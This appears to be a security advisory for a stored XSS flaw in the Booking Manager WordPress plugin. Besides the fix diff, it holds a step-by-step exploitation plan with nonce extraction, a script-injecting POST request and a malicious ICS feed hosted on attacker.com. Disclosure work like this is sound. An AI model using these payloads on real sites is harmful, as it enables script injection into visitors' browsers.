Booking Manager – Sync WP Booking Calendar – Import Events, Export Bookings to ICS Calendar <= 2.1.18 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The Booking Manager – Sync WP Booking Calendar – Import Events, Export Bookings to ICS Calendar plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.1.18 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.1.18What Changed in the Fix
Changes introduced in v2.1.19
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-42751 ## 1. Vulnerability Summary The **Booking Manager** plugin (up to 2.1.18) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the "Listing Template" setting stored in the databa…
Show full research plan
Exploitation Research Plan - CVE-2026-42751
1. Vulnerability Summary
The Booking Manager plugin (up to 2.1.18) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the "Listing Template" setting stored in the database. Furthermore, it appears to allow users with Subscriber roles and above to access and modify these settings, or at least lacks a capability check during the update process. When the plugin renders events via the [booking-manager-listing] shortcode, it fetches this unescaped template from the options table and echoes it directly to the page.
2. Attack Vector Analysis
- Vulnerable Admin Page:
wp-admin/admin.php?page=oplugins(Tab:listing) - Vulnerable Parameter:
wpbm_listing_template - Authentication: Authenticated, Subscriber level or higher.
- Nonce Action:
wpbm_settings_page_wpbm_form_listing - Sink: The
wpbm_ics_get_listing_row()function incore/wpbm-ics-listing.phpfetches the option and returns it as part of the shortcode output without escaping.
3. Code Flow
- Entry Point (Update): In
core/admin/page-settings-listing.php, thecontent()method handles form submission for the form namewpbm_form_listing. - Processing: If
$_POST['is_form_sbmitted_wpbm_form_listing']is set, it callscheck_admin_referer( 'wpbm_settings_page_wpbm_form_listing' )and then$this->update(). - Storage: The
update()method (inherited/inferred) saves the raw HTML from$_POST['wpbm_listing_template']into the WordPress optionwpbm_listing_templateviaupdate_option(). - Retrieval: In
core/wpbm-ics-listing.php, the functionwpbm_ics_get_listing_row($evnt)calls$row_template = get_wpbm_option( 'wpbm_listing_template' );. - Output (Sink): The
$row_templateis used to build the$listing_templatestring, which is returned by the shortcode handlerwpbm_ics_get_listing(). WordPress then echoes this string to the browser.
4. Nonce Acquisition Strategy
The nonce is generated on the admin settings page. Even if a Subscriber cannot see the menu item, the plugin's architecture might allow them to access the page directly if the capability check is weak (e.g., using read instead of manage_options).
- Identify Script Loading: The settings page is located at
admin.php?page=oplugins. - Access Page: Use
browser_navigateas a Subscriber tohttp://localhost:8080/wp-admin/admin.php?page=oplugins. - Extract Nonce: The nonce is stored in a hidden input field within the form
wpbm_form_listing.- JS Command:
browser_eval("document.querySelector('input[name=_wpnonce]')?.value") - Alternative: Check for localized objects if any (e.g.,
wpbm_settings_listing).
- JS Command:
5. Exploitation Strategy
Step 1: Inject Malicious Template
Send a POST request to the admin dashboard to update the listing template.
- Tool:
http_request - URL:
http://localhost:8080/wp-admin/admin.php?page=oplugins - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
is_form_sbmitted_wpbm_form_listing=1
&_wpnonce=[EXTRACTED_NONCE]
&_wp_http_referer=/wp-admin/admin.php?page=oplugins
&wpbm_listing_template=<script>alert(document.domain)</script><div>[SUMMARY]</div>
&submit=Save Changes
Step 2: Trigger XSS
View a page containing the shortcode.
- Shortcode:
[booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"](or any valid .ics URL). - Action: Navigate to the page where this shortcode is placed.
6. Test Data Setup
- Create User: Create a Subscriber user.
- Create Page: Create a public page with the shortcode:
wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[booking-manager-listing url="https://raw.githubusercontent.com/wpdevelop/booking-manager/master/test/test.ics"]'
- Note: The URL must be a valid ICS feed for the shortcode to process the "row template".
7. Expected Results
- The POST request should return a
302redirect or a200 OKwith a "Settings Saved" message. - Upon visiting the "Calendar" page, a JavaScript alert showing the document domain should appear.
8. Verification Steps
- Check Option: Verify the malicious payload is stored in the database.
wp option get wpbm_listing_template
- Verify Frontend: Use
browser_navigateto the Calendar page and check for the alert or the injected<script>tag in the source code.
9. Alternative Approaches
- CSRF: If the Subscriber cannot access the page to get a nonce, but the nonce check is absent or uses a predictable seed (unlikely), a CSRF attack against an Admin could be used.
- ICS Content XSS: If the template itself is not injectable, test if the ICS feed fields (
SUMMARY,DESCRIPTION) are escaped. If not, an attacker can host a malicious ICS file and point the shortcodeurlattribute to it.- Payload in ICS:
SUMMARY:<script>alert('XSS_FROM_ICS')</script> - Trigger:
[booking-manager-listing url="http://attacker.com/malicious.ics"]
- Payload in ICS:
Summary
The Booking Manager plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'Event template' setting. This occurs because the plugin allows low-privileged users (Subscriber and above) to update global settings and fails to sanitize or escape the template content during storage or output.
Vulnerable Code
// core/admin/page-settings-listing.php (Lines 174-180 in v2.1.18) /** Save Chanages */ public function update() { // We can not use here such code: // WPBM_Settings_API::validate_textarea_post_static( 'listing_template' ); // becuse its will remove also JavaScript, which possible to use for wizard form or in some other cases. $data_list_tmpl = trim( stripslashes( $_POST['listing_template'] ) ); update_wpbm_option( 'wpbm_listing_template' , $data_list_tmpl ); wpbm_show_changes_saved_message(); } --- // core/wpbm-ics-listing.php (Lines 192-205 in v2.1.18) function wpbm_ics_get_listing_row( $evnt ) { // ... (omitted code) /////////////////////////////////////////////////////////////// // Listing Template /////////////////////////////////////////////////////////////// $row_template = get_wpbm_option( 'wpbm_listing_template' ); // Normilize $replace_array = array(); foreach ( $evnt as $key => $value ) { $key = str_replace( '_BOOKING_', '', $key ); if ( is_array( $value ) ) $value = implode( ',', $value ); $replace_array[ $key ] = $value; } // ... (omitted code building $listing_template which is eventually echoed)
Security Fix
@@ -68,29 +68,37 @@ public function content() { - + + if ( ! $this->can_manage_listing_template() ) { + wp_die( + esc_html__( 'Sorry, you are not allowed to manage the Booking Manager listing template.', 'booking-manager' ) + , esc_html__( 'Forbidden', 'booking-manager' ) + , array( 'response' => 403 ) + ); + } + do_action( 'wpbm_hook_settings_page_header', array( 'page' => $this->in_page() ) ); // Define Notices Section and show some static messages, if needed. @@ -166,16 +174,36 @@ - - /** Save Chanages */ + + /** Save Chanages */ public function update() { - - // We can not use here such code: - // WPBM_Settings_API::validate_textarea_post_static( 'listing_template' ); - // becuse its will remove also JavaScript, which possible to use for wizard form or in some other cases. - $data_list_tmpl = trim( stripslashes( $_POST['listing_template'] ) ); + + if ( ! $this->can_manage_listing_template() ) { + wp_die( + esc_html__( 'Sorry, you are not allowed to manage the Booking Manager listing template.', 'booking-manager' ) + , esc_html__( 'Forbidden', 'booking-manager' ) + , array( 'response' => 403 ) + ); + } + + $data_list_tmpl = isset( $_POST['listing_template'] ) ? trim( wp_unslash( $_POST['listing_template'] ) ) : ''; + $data_list_tmpl = wpbm_sanitize_listing_template( $data_list_tmpl ); update_wpbm_option( 'wpbm_listing_template' , $data_list_tmpl ); - wpbm_show_changes_saved_message(); + wpbm_show_changes_saved_message(); } + + /** + * Listing template is a global frontend template, so managing it requires + * administrator-level options access rather than the general plugin menu role. + * + * @return bool + */ + private function can_manage_listing_template() { + + return current_user_can( 'manage_options' ); + }
Exploit Outline
An authenticated attacker with Subscriber-level privileges or higher can bypass the intended access controls for the plugin's settings page. The attacker captures a valid security nonce from the 'listing' tab of the plugin settings (usually accessible at wp-admin/admin.php?page=oplugins). They then send a POST request to the same endpoint with the parameter 'listing_template' containing a malicious JavaScript payload (e.g., <script>alert(1)</script>). Because the plugin lacks a 'manage_options' capability check on the update function and does not sanitize the input, the payload is saved as the 'wpbm_listing_template' option. When any user views a page containing the '[booking-manager-listing]' shortcode, the malicious script is rendered raw and executes in their browser.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.